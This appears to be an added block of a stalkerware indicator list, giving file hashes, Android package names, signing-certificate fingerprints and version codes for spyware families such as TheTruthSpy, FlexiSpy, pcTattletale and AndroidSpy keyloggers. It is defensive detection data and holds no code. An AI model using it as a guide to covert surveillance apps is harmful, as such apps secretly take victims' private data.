+a9fa2573ee87a60548c69daf0637f1c3f6ab838c703242c0d639e8153b535c0a,,,,TheTruthSpy +aa70144ffaa96c445e5880d9f87af81a64650e03371c94d34d5e876aa9150bad,,,,TheTruthSpy +ab2b281e6e6c3ac75e187b2c759ce4c4a99b2035358edd905ca3336fa9faceba,,,,TheTruthSpy +ac97c96e4af1c501d3a14b262fb83c6c4979c0973c6f3b0c113434d8a5660aa0,,,,TheTruthSpy +ad70d8bad45ea42e15836d3f4efeb35c59a97e10a4343863d7462b86fa7c4616,,,,TheTruthSpy +adc012af3b25e51f9353e23483366eb79f7559dd5bdeb03e518a7e34aa6a9727,,,,TheTruthSpy +ae9d11c4475b5fc45c2d7267a7f3b89eec54475a45ce6a5f63b242f356f1d350,,,,TheTruthSpy +af830b3b974f05d6df72295ac7603a766a6cc4d7bf0ac6acbe44753e98e9319e,,,,TheTruthSpy +b1222360bc9aee284e85b5bc2febda8578e97d816db67302b5d025e54b268655,,,,TheTruthSpy +b16c30aee3e1bde998d9438d6b2e1de6c46b9fde625ca78b6927f3ee71aa5e80,,,,TheTruthSpy +b1af35ac556274230ece02f1e1c386357357e1b3c9ebe6fc6475fb4d92594323,,,,TheTruthSpy +b1ed4367a0442533e77637ce11d4165cd9d90ff33fb48a72bb3b7aa07d2544b9,,,,TheTruthSpy +b259d82ddf17aa08bef2e6bad1aa035de419f838c12ea97ee40e7606703057b8,,,,TheTruthSpy +b3134eab2bd43c1996d7f4d4866e34faba5294df41bf3291b32c75f2b3ac6396,,,,TheTruthSpy +b3d5224e78aa075da25d4407e8f56c1dca4bde8a42d5fb850dab2f40440217dd,,,,TheTruthSpy +b476d299f75eaf4d729f2c7d5b4e41d735e2ae44d38e1cd3ea1a54a63fa2b187,,,,TheTruthSpy +b4dbd129864a57380613cfc3a2cfd4f5fd1678073f520eab9d21b99ae63c59e9,,,,TheTruthSpy +b4f339df64cbe537d7c8c126962875098e60481df16c3239f52f7c68e72cccb5,,,,TheTruthSpy +b64c49f599ffac658ee97f49a33d35023857cecee92219604b3576b0c348a695,,,,TheTruthSpy +b6e2e75685cfaea903f94ec0d2cfa698a545d13339689282abda6f122aa4bc6c,,,,TheTruthSpy +b75c8da86b2280c41551eaa2729b4a2678ba07aadf5bd858b1144543e4e0dc86,,,,TheTruthSpy +b7c37ee164c2cfd4c60d5b4861273c35668c3aa467cbf6d623bbc54ebf7bc7d1,,,,TheTruthSpy +b7d246bbf76bf4773312eff25fb6e658bb8c0f5d5cbcc098354f078e5c3ef8b7,,,,TheTruthSpy +b81f7a9152d12b3db9a1e7981abe2786630e181db569fc7acc7cd32f0926159f,,,,TheTruthSpy +b9f237a83c0e6dd3f8570fa686bb62960054a6f48776e91ca669e266ca53bec4,,,,TheTruthSpy +ba467303b0e601dc8dbea89e16cfb8c1253540eadf0cfc4ea875412a7a3ed834,,,,TheTruthSpy +bb25e2fc328cb7b0c229347bc6fe7bfd627bd172f7a6840992805225d8a54edb,,,,TheTruthSpy +bca22874a70fe2ee9bc5d4ad9a4dc9c4d27bd9d876de2741c2fd877406b1f6bf,,,,TheTruthSpy +bd20dae44d2ce870b03847702365bc7252e99695d9bcd9ebba3731e777ecaad7,,,,TheTruthSpy +bd3b1d4f1fb667b1aa2e20f84085b60c6e36fe08f33fb5d89ec0f54b5ef78cc6,,,,TheTruthSpy +bd8625f7b6e16c3cb8041b115fa85f8eadf42b1006d0c8e97b090c51b466463a,,,,TheTruthSpy +bdddefe4af4d73d1fc6766214e57ca0e1fe329a1839530153b392129d337309a,,,,TheTruthSpy +bf74c0b98403e3adf2f1f7b8217dfd9bf4ded4e94d5cdb91fe2bad7f794db414,,,,TheTruthSpy +bff570907b50e674c2e8a23f18b2dc20d0424a8d6b210027e84dc82655a527c8,,,,TheTruthSpy +c151a59b70fe87ae5d30d474018658de3445a0a450edb3cb59cddbf318ca5289,,,,TheTruthSpy +c15f907f3054806d87fa645cd9d0c45a49405679bf37c60a40482f7d1eafb971,,,,TheTruthSpy +c323fa228e8f8be02f2b9456054858a6dd7c75b85fd0bffd75ff69903af62abc,,,,TheTruthSpy +c4f8e95e1cc7a8f111ecd8efa767c2a932726cf23188429b44e8be83049b660b,,,,TheTruthSpy +c58c0dda52ee07a2b5f27b4d3ef398d4b4aba6ca41acd78d1ac7f59f6dfbab47,,,,TheTruthSpy +c6700abd41f151a0cd08bc85ab0cd2719357da3a1f382bc84e17e4521debeded,,,,TheTruthSpy +c684ed7da2abbb571cb74b6b71480ecebfeac61e94e91bd193392c2967360066,,,,TheTruthSpy +c74525f9a8e02906951521e210357204ce82d9f907d42015127c6ac692f7a748,,,,TheTruthSpy +c7e057a1d55e44db277968c5725fe20886578c60b68398c582f4a3694831b22a,,,,TheTruthSpy +c9a42214d06b0ad5242d304df3cb0e10df345390e1fd06ed71e4209ce1dc6fc9,,,,TheTruthSpy +cb23a59a6dfa9f4697d518f407521f081f482142787992f6c3cd149665bbff3c,,,,TheTruthSpy +cbc20c4d2a0b2a870ee08f561a8089e3cadee3b8cb16fe19581e49b19dfdf153,,,,TheTruthSpy +ccfacdc42832302cc44cfa2cca12a9e0580fafc61b94f8f71d1722b91e4f390c,,,,TheTruthSpy +cd6f65c6f07323eb59ef998c80c2757bcb4fa553d140ab66fadfaab5e1d8c30c,,,,TheTruthSpy +cdeecb6a46f63ff28a6a5bc093cb80ebda01b8d0c4c155735b9b1d824c975620,,,,TheTruthSpy +cf1046207cb039bef91f8a2db3986cc02a21197e7d72fd48e017103676affd0b,,,,TheTruthSpy +cf4bf9f58ab4f6fe7853256b8a432ec50a8f22e803b0ee0310fa02440d42a396,,,,TheTruthSpy +d00d828ce3408b0ef59b17260c7e07efa4299faa1230dc6dd0bde0d3e77f4770,,,,TheTruthSpy +d042b2b4caaddafc486b03bdab231f3ec67240dc504a485a3e3ac889b2a00fb1,,,,TheTruthSpy +d07c495d093b60de69e0f612a0d3bd75144532e377153b1c1b9128092e9d4f93,,,,TheTruthSpy +d13d2f985603c3f5fa3ac266e6005b52c715e2a2ac70354227f123a1bdcb7d95,,,,TheTruthSpy +d210218fcdc241d017839feb17a8b8f22904b0ea251e0441ee4f2bd55b1140ce,,,,TheTruthSpy +d2d3c1ee4fa154844b508c78746743a46a736bd462a0493ce1019b19229b05bb,,,,TheTruthSpy +d3f11dadf9168c2605a7f0ad0cc9111998e5086a55bc76ec8392d604b131fde1,,,,TheTruthSpy +d44a700414573f55214514ec5557576f38519ae06072c3b15e1c76c9de0c3cc2,,,,TheTruthSpy +d5220f365069a03c966261ca1886fa9c80aae9ae6e5ba78b52a9cafcd327fb72,,,,TheTruthSpy +d53d1bd9ef8cd4cb96e0c7d3067c9dfc51a22fd69c6336a155d8c27e63082150,,,,TheTruthSpy +d545c204038fe6713adfce311daf1e2d7cd593a9de86b98a3219a018cac8527b,,,,TheTruthSpy +d59b2545012211cb3495d00dc0571795aa4cedaef01afa6486746966695a1e01,,,,TheTruthSpy +d5f71fdf2a86bcf3ea0f922b06ffde1eceeab7d3f25aee928ff7fd22839fb602,,,,TheTruthSpy +d624eb9219fb5ccae550320b8eeea6b8d2b1870f6b8763da6d3b5e1265e9a8c3,,,,TheTruthSpy +d805511be69a2d6f4639d188308866cca5391dd5719d4ec9318ff956465ec4d0,,,,TheTruthSpy +d84275666bce9e4d4addea5db756708aa689276b465e80e366e4e3d87059d41a,,,,TheTruthSpy +d948848bfc8f4dc82a1553f7a3c69ae201e4814b9dfd04092a315a4bb04d3435,,,,TheTruthSpy +da4e4644fe709456f032f4877bd8574b5f5f7543cab8825421cbf0f308c97f50,,,,TheTruthSpy +daa67f94bc7b50021bdda068469f18616db2b7ca331fc7cb7c452a4a2e95464c,,,,TheTruthSpy +dac46c02c272a5f62a2602394f1feb92d9473dd2f19c8cf59f84f2d203cee60c,,,,TheTruthSpy +dad31e95570ac4efa60361ea3aafb98374d969d27fa378388dfce68826622fd1,,,,TheTruthSpy +dc07725a32b06848f548214d3419e239d7d717e6debea3765ee6685b0eed16a2,,,,TheTruthSpy +dd547958fc63e09ebc1005b1fd4dfa047cdbe959fb2299f742fd9a3b971bfdef,,,,TheTruthSpy +df068984b6f190b40db3ce276de6374c2ede3b8c335bdc6215914089d70cc436,,,,TheTruthSpy +e06e339f8208f61f43750251aa7ee5060d01e71f07123feb8323ce17b6c71b8b,,,,TheTruthSpy +e25964805c4c29f01331e2547ff568a1b1124debbae0b3bc84ad22b8aaf38132,,,,TheTruthSpy +e27709930ec345c37ef1895787fbfeb1c86e68a6467a7e6c88c5ec730db8fbd1,,,,TheTruthSpy +e27be339a91a2d7fd28c18cd41ce53e701eb1adb7cb8aea5947b6733e3bbc425,,,,TheTruthSpy +e298a7b804f97b31b79a2a3514bd1ab608847e507c1a7234c060b98adf287838,,,,TheTruthSpy +e2c00377c1274460c894c901e4fa19aa28d7fcb65e01b7ef6f6b9d7c81ab27cf,,,,TheTruthSpy +e31a39111df67c06b224f42fff53ec12461209e80881c01e9450933f6cdd28a5,,,,TheTruthSpy +e92b20674c86b01be77c51093dee2504ceaeda7adbd4fe401e3803a812e56514,,,,TheTruthSpy +eb00c170b6303a22a7a14585762a236bc7735f7f40804fbb80d96c0494f58226,,,,TheTruthSpy +eb27d5ca159d19745d324e607da69c3c303b925a74544dd25965f02e19bbab42,,,,TheTruthSpy +eed13ce2d07c9d0d0b6ebf5abd6675794ca154e911b6b41926380a2007132e72,,,,TheTruthSpy +f0e3ce30cc1ef3d047da0471ec47c96abf8ca230e464cdb01c25a4baf27051d1,,,,TheTruthSpy +f182f0fdde80349a05b3d74c9cfc74fa728ae5f64221e3cfb1a509a3a32fdf9c,,,,TheTruthSpy +f2ee84d4064ebbe9b453f1895cafefe9f9cd2b06985851888fcad796ad7b5328,,,,TheTruthSpy +f35905ccdca42feb449faa89bb4243c8200a6f7712359b6792b2a89cf6ddc8a9,,,,TheTruthSpy +f3b561950e2bd1f5067564a0ce25e4d1818ab525bc98caa72c608d27a2782f19,,,,TheTruthSpy +f45d484c1e7bf7b2d61ec07165308ce6cd94c4b071fa2af521f085928d8338a3,,,,TheTruthSpy +f51d827ff1625b487a12d7b8d93710af61da16f3edeac003d3ccb106e6567553,,,,TheTruthSpy +f5c601a346dadc7a648e5abcb2a774b178567e3dec211d3cf34f72b43c9cfa58,,,,TheTruthSpy +f695107e1981a75474100002d87a20ae34c30c142228aa38bc31462aea13d27b,,,,TheTruthSpy +f73a6c83c2fd73ab166a8e09e67181286a91523091a67214914e2d1499ea92cd,,,,TheTruthSpy +f761dea56b7d4a0ad40e55632da2e6e2de322d1cae3b117d1d27ea0b3346bd63,,,,TheTruthSpy +f897da07b17368e3c1732ee5b2e27769072e328ad72b7de7db77ec2bd04fa711,,,,TheTruthSpy +f8fe4b45908ded8917d8f8a8be6493eaf128c3a7b31c959ec92387dddf09f4b4,,,,TheTruthSpy +f9cdadad8acadc7ab03969192021345dbd1c61cfe4797d31f0ae67d391bdb172,,,,TheTruthSpy +f9ea53856bc3922b599129cdecdc5e511178100cde1e2628b55b40b5d81758df,,,,TheTruthSpy +fa80342368e0865d15b9c2edde5ec01906e1e97920e1b68c4fdbeb462a45dfe0,,,,TheTruthSpy +fb23a4d700a976ad3dba0b1e10b5ece3e37ad455887983bc067cb55b9cb9cc06,,,,TheTruthSpy +fbfcc8489ad78467eb6761008bf2425ed31d7a191225476484d30b0510e70f74,,,,TheTruthSpy +fc580afb916974c60c43a99c9c82fcc71b271fbf4481d52dfca77160fb065850,,,,TheTruthSpy +fca98daedd9ca31e37054d42f4da870fa2a08d716bf121435eee6dfef51c00fa,,,,TheTruthSpy +fd8e6c537d8ddddea5f8f079efe255f5859b422fad0926c9eb4f3c04276d90ff,,,,TheTruthSpy +fd9f98e815dc04fe6926c37a4209640f6fbc52cd253a7c79273b5ac8a61c6817,,,,TheTruthSpy +fdcd295d0e0d2b30a02eae4d04db09a60b1dc4b0d4d512739621bb1f052acf95,,,,TheTruthSpy +fdd9e4396a8f7274f034958169bb47180cd7d29d1bb2d7e71895fec642437e60,,,,TheTruthSpy +fefc35ce29a326420873597eae3662904649f5db16f09901048eade4d06110b6,,,,TheTruthSpy +ffef95c056a19e07ae8f8c968f2ecc43df3ca1ad79ba160c945e8e879431a672,,,,TheTruthSpy +9114e561c42ea19b183ef5d8a36e743f2b873874e43d805b11e3753035c7900d,com.map.system,C276C3B087207C9D3CEEDA766C01E0BDEF7EAC71,,TrackMyPhone +15175706fef839d9d913389420ec133905ea30feb6baf064a2eafa37f4b8496a,,,,uMobix +3fbdc384094cc89a6905d13ed8df8c0064e89e9cfdcaf80d000a366ea5d10b76,,,,uMobix +445b039865b8d8ebe9708eaf665c3ca23dacbbe5bc818c9df15b3c9848ba7ed9,,,,uMobix +a3427cd043c913d318eda4167294848518ed18dffb791c3c44599c246ca603eb,,,,uMobix +4b44246c402445eea943dceabef5a87535333a219a87c1c57e06d44f79194412,,,,uMobix +146a952efd566f847b8b4b095215f5551f7c048d214fedef41b2ccf882385a6d,,,,WtSpy +73c1f9b8d9a7926a87d23ed43a4cccced9fbcaa8afba464138b0041f5feb7405,,,,WtSpy +8188dec9de61221629b646ed78f125d507384bc993bc4188e1cb1b68810f77d8,,,,WtSpy +a6beb22b8cda1d24e0859b1bd912b60e652ee812db830f2e33192d9530240731,,,,WtSpy +eb769147546c76292e6ab2c78742f8910db40d8f14d7a7ed40d30dbecb259a5c,,,,WtSpy +f544e9ad16c329b091dabfa735508105025bc37be93bfac4e6871a644c562b09,com.wwtspy,943BC6E0827F09B050B02830685A76734E566168,1472024840,WtSpy +0c6ac542bbc8af52e2fb36a4e2a9b6fb83458821b9fd24865ae1efebbdff4931,,,,Xnore +1f9b4a9fa6fab111284dde6834428eab3e1c2c9218c742197fbfd6a7c436eee7,,,,Xnore +24743a29eb173d5674d0f45bc10c92492a730f37b2d558c34e48e22bc740ca4d,,,,Xnore +35fa07d5a39c670c2143718b6cedf713f32f61d93bc264939439748f6a835cc0,,,,Xnore +9ca9a8bed0a17375d6d6d07c20248d0847caae06fdc288533f5748943593c686,,,,Xnore +291ab79d3b98067b3a2374df1d12e09b3f46076caa698366b0b443c0f1cca1a0,,,,XNSpy +2f23f1638a083b6f2a44cfe766cad2f703b4396b2dab9a0706292583f20b0579,,,,XNSpy +3c5feab2d8e94bff833f60281f10b22b2c08ec23ce1eb2a3f125f6cf268268d0,,,,XNSpy +5117edc8842b8790506923c1e43516b7d7e2d2a0ef47ddd30e3cce145632f97c,,,,XNSpy +52687bd196db137bb7faa99d84c104dc9eb48f2fbfb69af3f5ed3d713095fd65,,,,XNSpy +532a61d269dd1e19d7ff75db2b6b35f1bb8a67b3bf219a1f63520e87737e79bc,,,,XNSpy +53f8d8f3aed24c4775d45b6a39a74f56a1711a874f76a57f1e2f454d09cca2ba,,,,XNSpy +71bb5bdba97dda0d31f800d806474cde6bc048046e04c7fcb4ac45160eb20632,,,,XNSpy +8454811237761ef9998e9826a596afffb6d07506c7d7c78168135b4f3387e4c3,,,,XNSpy +9bf9399f29e7d1a551a2a1c5f1072046b94096bd7ea8ccb359db2ad0642a2718,,,,XNSpy +9987d97fa44821bd2d9756cb949e88a97ee528b6676cfc45b77ccff775e1c3c6,,,,mSpy +166fe98608bc815ee66047a278e432118c745d39f8fd42d5ef65b65d95ef0369,,,,mSpy +8d11ecfd27befbbff688b87d2cde7653f8d283ee1e255a891a7ba589337fbc8a,,,,FlexiSpy +cad96486bad1db79f65433cf71935b6d9404f9c91786479141274ad6a6b52cf5,,,,FlexiSpy +75c76fe253a9347427793638b8a73f36a880d320fd440dcb156c9d9308459a9f,,,,GPSTrackerLoki +acb90adf1ab4889eff77d3346a74a51b23794827f7c2d2ebda025de77b8d7433,com.dy.spyzie.v4,8418703221A74C73405AD273C28CBC12444D7520,94,Spyzie +63762e5ff7bc93ee68424d698e65a0f247dc594c78af298f6796b541bc208364,com.parentcontrol.production,6055A39E818E8135831FB8F479BDA305832D86F0,1,Spyzie +5e178303fc38f0cb0cd876df6ea52ed524567e55fa74043bc8bfa48fd25ce676,com.spyzee,F25D72FCCB84BAF7F73467FC9571024B7E274CA3,11,Spyzie +0cd110c2311deac8ef7ad60e062786b033c08b7911e9fc4ea88de07f21b9d8ed,com.zefyi.proof,295A210B0CC1D832B63FE0933EAB4DEE837E7038,3,Spyzie +33f625191b79757f685a3337dabca583311484003b9aa0b900baee014646f750,com.skfrde.gfttrob,210E547AB2F91645130EE496F274AFCD8C0FB478,1,Spyzie +148032ea08c82329bb4e8faaf0d0eacf161e818286f7d0eacacfa77bcb53c48b,com.jyotin.ct,16254E7CBDFEC82B6CCE599DFCE6A6E84CF25504,29,CellTracker +b4f6d8c0bb4149f2e494caf6ad9f9d120068bc7f33962b3746e89171d1de18c0,com.jyotin.ct,5F43A60BFC663FB37F419A40015495431649310B,28,CellTracker +1bc37d9be07ffad8b21f673f2b678b24ad0a53f51fe53598544da549fe4d4e66,org.system.kernel,CA5304E94F4BC97DA9D147E76858DBF70AB8B4E6,44,OwnSpy +d2a1fe6ae32e87d095f2cfbef6e7bfc54d05a6671729c19c5965389e7417607c,com.avi.scbase,20F092BEC76C406223A7943371A1DBBB5BF66C13,31,pcTattletale +078ed0071ab1121777a13570b05e3c0fafc40bf3e2ef625975888b7dd42b495d,com.avi.scbase,20F092BEC76C406223A7943371A1DBBB5BF66C13,31,pcTattletale +8b233688b1c67f2909eee0ced113fac20a97734bbc10192d32d84318a94b1276,com.avi.scbase,20F092BEC76C406223A7943371A1DBBB5BF66C13,31,pcTattletale +eea25e003c15a23d73894c5e86e1599b35f14874a084bac21665c5aa906d89cf,com.avi.scbase,20F092BEC76C406223A7943371A1DBBB5BF66C13,31,pcTattletale +dc73bd23b40a522a79d8a7ba002c9bc4ee7f92e9055e2c97b233a875e63690d7,com.avi.scbase,20F092BEC76C406223A7943371A1DBBB5BF66C13,31,pcTattletale +a1a368c93dd5827b4c0ea9594f909428110617e2f4d95dc72108b9c64aeba43b,com.avi.scbase,20F092BEC76C406223A7943371A1DBBB5BF66C13,31,pcTattletale +65bcc5dd6d2e4b5175e8f1110a327c685d081d1fec8b2d26c562407abe334528,com.avi.scbase,20F092BEC76C406223A7943371A1DBBB5BF66C13,31,pcTattletale +337d2ed78480e9ceb789e2e9dc7a6268b166ff1c5252ae77f3bf2b392df97354,com.avi.scbase,20F092BEC76C406223A7943371A1DBBB5BF66C13,31,pcTattletale +70dd3c4cff86c5b0dcfdca0cdc2270fd30bf2e364c9c21316d14600154815044,com.avi.scbase,20F092BEC76C406223A7943371A1DBBB5BF66C13,31,pcTattletale +41b8f5707750a0524d0d4b7bd94b20beae73335de5bf4cfcb925821068a6b43c,com.avi.scbase,20F092BEC76C406223A7943371A1DBBB5BF66C13,31,pcTattletale +c1d6bb84d938981a3bfcee8490b02672227428ff278cee66675892d560d2c4d1,com.avi.scbase,20F092BEC76C406223A7943371A1DBBB5BF66C13,31,pcTattletale +18787bb139de7c434e54cc401b1a56fb984fa0c2d07dc5fa81469f92fa7b156f,com.avi.scbase,20F092BEC76C406223A7943371A1DBBB5BF66C13,31,pcTattletale +94241c0144747f61440a6d7c540c8d0f4e9b833efab100b36526b4bde92aed5d,com.avi.scbase,20F092BEC76C406223A7943371A1DBBB5BF66C13,31,pcTattletale +de577c798f72a9ecef67fe1d7408fb92764f852df2e5914de8357e7200740619,com.avi.scbase,20F092BEC76C406223A7943371A1DBBB5BF66C13,31,pcTattletale +fcfc726360791fb1e2548d0ef5a467750a6dc515b31219616b83b9f956440169,com.avi.scbase,20F092BEC76C406223A7943371A1DBBB5BF66C13,31,pcTattletale +d444c7cfd6714ad070444b7ba0ea997c743cf9cecdc0adb7c5263505849b504a,com.avi.scbase,20F092BEC76C406223A7943371A1DBBB5BF66C13,31,pcTattletale +109987db1430dffd3ca2fe114ee5a5a743de43b428a5853641fc89ba4250235f,com.avi.scbase,20F092BEC76C406223A7943371A1DBBB5BF66C13,31,pcTattletale +cc0c9112d1722f5597800c176ed49fa4603895dd294cedf8fdebe3ace1b65fb1,com.avi.scbase,20F092BEC76C406223A7943371A1DBBB5BF66C13,31,pcTattletale +ace73e27ad81f3c7599031468e8c6e8bcf5080c7dd8e1d802d8028f954b57ff3,com.avi.scbase,20F092BEC76C406223A7943371A1DBBB5BF66C13,31,pcTattletale +c228b408acf05f57efe581f8996530ced61d72fc4e1e0262e286fe8d52fc6c11,com.avi.scbase,20F092BEC76C406223A7943371A1DBBB5BF66C13,31,pcTattletale +db8911d08712e906a6b038de5a5c23e4ced587621a881487acbc1216bdbecb8b,com.avi.scbase,20F092BEC76C406223A7943371A1DBBB5BF66C13,31,pcTattletale +f1ac97df184e79dffa9b13e32fe0b32131a3fd1470247bb916a549358f8cde21,com.avi.scbase,20F092BEC76C406223A7943371A1DBBB5BF66C13,31,pcTattletale +7a54dbdbb9c7ea0e68625ddfc8cdc9c253fa149babb26c2f08bb8a7a91c6a452,com.avi.scbase,20F092BEC76C406223A7943371A1DBBB5BF66C13,31,pcTattletale +c5d5b3f514583e4a269a5c296af2239bdb10058dea7a11abb1edd132bc4f562c,com.avi.scbase,20F092BEC76C406223A7943371A1DBBB5BF66C13,31,pcTattletale +f05760daf6cd5c2faa86fc1bded533401fc22871720b4fba63e9f787f94dc720,com.avi.scbase,20F092BEC76C406223A7943371A1DBBB5BF66C13,1,pcTattletale +4fdb676f418421ef66be57bbf7f6ebdfef49a58a9b649735c85dc314c48db8c4,com.avi.scbase,20F092BEC76C406223A7943371A1DBBB5BF66C13,31,pcTattletale +719ecce6eac26cc407a00ddf4a4394d108fcc0dd45353bfd8ba9a123aba59ebd,com.avi.scbase,20F092BEC76C406223A7943371A1DBBB5BF66C13,31,pcTattletale +2dabed7f7bd653c61e7cbfd49f2d3b4eb12080189269daf2001db860dbd9de9d,com.avi.scbase,20F092BEC76C406223A7943371A1DBBB5BF66C13,31,pcTattletale +3eb6413aeddd59f61e12a3d84ae393ef036150eb0467aadabfacf50dae917a48,com.avi.scbase,20F092BEC76C406223A7943371A1DBBB5BF66C13,31,pcTattletale +c5a6411655cd5b06d8c961b7f86c109bc4897c50fcad8b569ec6bc43c1e450b4,com.avi.scbase,20F092BEC76C406223A7943371A1DBBB5BF66C13,31,pcTattletale +a370cb4a508251ad062d9bdc87f037f9e955c61dcd41a69f46c1fd93bb36b8a2,com.avi.scbase,20F092BEC76C406223A7943371A1DBBB5BF66C13,31,pcTattletale +b227b7be8dce591e4a9508857f953b860d3a5cfd8ae84074ad364e3b8b5afe9b,apk.keylogger,9F6F25AB4EB39CA27BBB22465E6FDC1FC3791C85,29,AndroidSpy +e4821f568fb003c98425581686f79cbe92eb790f5c5696a9048e1caad56af070,com.as.klogger,9F6F25AB4EB39CA27BBB22465E6FDC1FC3791C85,29,AndroidSpy +91eabce374745e5f906e5febe0ed805c9408c204ca97b4c49fd5f5f6ea1ed9b5,apk.keylogger,9F6F25AB4EB39CA27BBB22465E6FDC1FC3791C85,27,AndroidSpy +fe2b7821aa93ea48b15f3c3e126809cf2c9440edbcc4040e5437595384f54e24,apk.keylogger,9F6F25AB4EB39CA27BBB22465E6FDC1FC3791C85,27,AndroidSpy +2c56539b1787d799ddff879675cabe603cbe168ec9989d3cdfe15802efd33fb7,com.as.keylogger,9F6F25AB4EB39CA27BBB22465E6FDC1FC3791C85,27,AndroidSpy +3907cabfb9f405210632c57e44acbaebf0196ad9e9ff6552ed2c741c016c470d,apk.kgl,AA0458B6C035E767E61DB7456CBCA89CC4D42090,27,AndroidSpy +8bc63b6d38cae0c22b280ced6af8e540c23bd6f6edd761ec501cc1af3ee62069,apk.kgl,AA0458B6C035E767E61DB7456CBCA89CC4D42090,27,AndroidSpy +ff9cc0102e39440f9c765341236a644f490c6e6000713b1c5b522a39a9a36cd9,apk.kgl,AA0458B6C035E767E61DB7456CBCA89CC4D42090,27,AndroidSpy +17ab53e2981edce20244659e13f5271801a4907c521b11b1252bdab20028bc61,apk.kgl,AA0458B6C035E767E61DB7456CBCA89CC4D42090,27,AndroidSpy +9d9ed4a56f234984c529eec821eb2ce42d93a2c11201c52a789da8a87ce81b21,apk.kgl,AA0458B6C035E767E61DB7456CBCA89CC4D42090,27,AndroidSpy +5f758377416120831cd1c2be67441f89ea9f54a6335d43e12b64201b637b81d5,apk.kgl,AA0458B6C035E767E61DB7456CBCA89CC4D42090,27,AndroidSpy +53b73b0a302c91120d53e4882e3d17c421b9e13694a8d22021d67bb08928c7d0,apk.kgl,AA0458B6C035E767E61DB7456CBCA89CC4D42090,27,AndroidSpy +12809638d99a3c1f11b96d4f9d1fbe8c2592201b7534a70391246395a7508cba,apk.kgl,AA0458B6C035E767E61DB7456CBCA89CC4D42090,27,AndroidSpy +7e9333aa7f8321307f384a67a602bea3fec89b8e41683264ce6076c73967675b,apk.kgl,AA0458B6C035E767E61DB7456CBCA89CC4D42090,27,AndroidSpy +45b3a79222220d6e1756ad97859d3b77a9387e06cdf1fea4bfb396a18327ea3c,apk.kgl,AA0458B6C035E767E61DB7456CBCA89CC4D42090,27,AndroidSpy +8452292a6befb0537c30e42237feed44e876372411385aadfdd222c951de3a55,apk.kgl,AA0458B6C035E767E61DB7456CBCA89CC4D42090,27,AndroidSpy +8954a8b4faea49ea62fddc4086d3a7d69392fdaa47626d4451b7423df812922e,apk.kgl,AA0458B6C035E767E61DB7456CBCA89CC4D42090,27,AndroidSpy +f06b5825a0bf7672a65dd04c44fece642e5dce43a3e34d71c1009ebd1b8831ac,apk.kgl,AA0458B6C035E767E61DB7456CBCA89CC4D42090,27,AndroidSpy +8536ff99d831e67bf4defc9ae52253ca5d791b4ec95f260d61f4358e307f8de0,apk.kgl,AA0458B6C035E767E61DB7456CBCA89CC4D42090,27,AndroidSpy +67dbf8bcae8f09742d2cb122889878fa16fa1dd3618d0a64f8bd0574bc10e732,apk.kgl,AA0458B6C035E767E61DB7456CBCA89CC4D42090,27,AndroidSpy +8478b52b4112382277b40d8145ff028ae3e758f3bb953df7454ce00b83fd7863,apk.kgl,AA0458B6C035E767E61DB7456CBCA89CC4D42090,27,AndroidSpy +49cb8e6b951afb451a5843757623ab623bb34273d675cba648c41247899852d4,apk.kgl,AA0458B6C035E767E61DB7456CBCA89CC4D42090,27,AndroidSpy +43bc8191de7a878c793d494a11aadb48b6e52f01bb8db1321b9704ba3556aa01,apk.kgl,AA0458B6C035E767E61DB7456CBCA89CC4D42090,27,AndroidSpy +0241d5311000dd4d6624be88c0366f37d0d1307979b583a4c4dd8f2929985860,apk.kgl,AA0458B6C035E767E61DB7456CBCA89CC4D42090,27,AndroidSpy +94c18926233df8d3b525bbfa082579b2b7d9ff36c61fc71b37747231ed38c8d1,apk.kgl,AA0458B6C035E767E61DB7456CBCA89CC4D42090,27,AndroidSpy +01864a375f3086a7d061693a78ef0233fdff3c13131cd36f6cf84a104548e167,apk.kgl,AA0458B6C035E767E61DB7456CBCA89CC4D42090,27,AndroidSpy +10ab29b677caf0fdfeaa4410b87b603cf89425e7148147055183e1cabaacbf08,apk.kgl,AA0458B6C035E767E61DB7456CBCA89CC4D42090,27,AndroidSpy +3367e16d1dc62d7ffd71bbe32670d8dca3915db4a71a3f592fe66528e1123a46,apk.kgl,AA0458B6C035E767E61DB7456CBCA89CC4D42090,27,AndroidSpy +0cbe89a91cc25e4acc4b06cc25150c7530639859c600113a64e9f3082f7dcf00,apk.kgl,AA0458B6C035E767E61DB7456CBCA89CC4D42090,27,AndroidSpy +a8b47448bd29d8ca137cb613cc4735698a09a52c5955228bb4e5c3a52aea3075,apk.kgl,AA0458B6C035E767E61DB7456CBCA89CC4D42090,27,AndroidSpy +4186cbba5d231f55d142eeb66a9abfbb2bdbb41b0f01ac6dda0fcc29b34e5ad8,apk.kgl,AA0458B6C035E767E61DB7456CBCA89CC4D42090,27,AndroidSpy +9005c6c48c36ac87466a12096fa80d52fa07cbe096bc2feff91154199d1485b0,apk.kgl,AA0458B6C035E767E61DB7456CBCA89CC4D42090,27,AndroidSpy +684427d0f76883b8001837f9886257c495519e8bc5dca33e9018f0cf023add0d,apk.kgl,AA0458B6C035E767E61DB7456CBCA89CC4D42090,27,AndroidSpy +5e2f44d463934b3bab71e39014c79d147064be9fdf08dd229c9960553baea2a6,apk.kgl,AA0458B6C035E767E61DB7456CBCA89CC4D42090,27,AndroidSpy +6b47f33b706c1fdb43169d2ae8c50782a44840032bc9037f075c737c39f2ae6b,apk.kgl,AA0458B6C035E767E61DB7456CBCA89CC4D42090,27,AndroidSpy +8aa8b289de2b82b3f344d30a9d144c4e8773afc69027e83701eae7e46d0660c7,apk.kgl,AA0458B6C035E767E61DB7456CBCA89CC4D42090,27,AndroidSpy +189afde793754f6b6265bde54719ec83fe2b810387b1a8cb582ee4e2dd1a119f,apk.kgl,AA0458B6C035E767E61DB7456CBCA89CC4D42090,27,AndroidSpy +4e966115b948f6747901270bce7a940e986ff9d0e0086e2bd9ae4d42873348d8,apk.kgl,AA0458B6C035E767E61DB7456CBCA89CC4D42090,27,AndroidSpy +1ffea474b10345ae5c88476c4631002644fdc1f53acdb135273bd89dd2832d40,apk.kgl,AA0458B6C035E767E61DB7456CBCA89CC4D42090,27,AndroidSpy +5fa167c6c1bc1f114960245b21c64358418790c6ecf74433e04163a10e900048,apk.kgl,AA0458B6C035E767E61DB7456CBCA89CC4D42090,27,AndroidSpy +6433856b6eca35b1011818ecf2f795e0055f17f7abc7ab4e9adbe53a9fcd9789,apk.kgl,AA0458B6C035E767E61DB7456CBCA89CC4D42090,27,AndroidSpy +337c939f39d206e8d3c6b24c6b7ac7de8783b65aa5ff9e8cab55f898db8b9dfd,apk.kgl,AA0458B6C035E767E61DB7456CBCA89CC4D42090,27,AndroidSpy 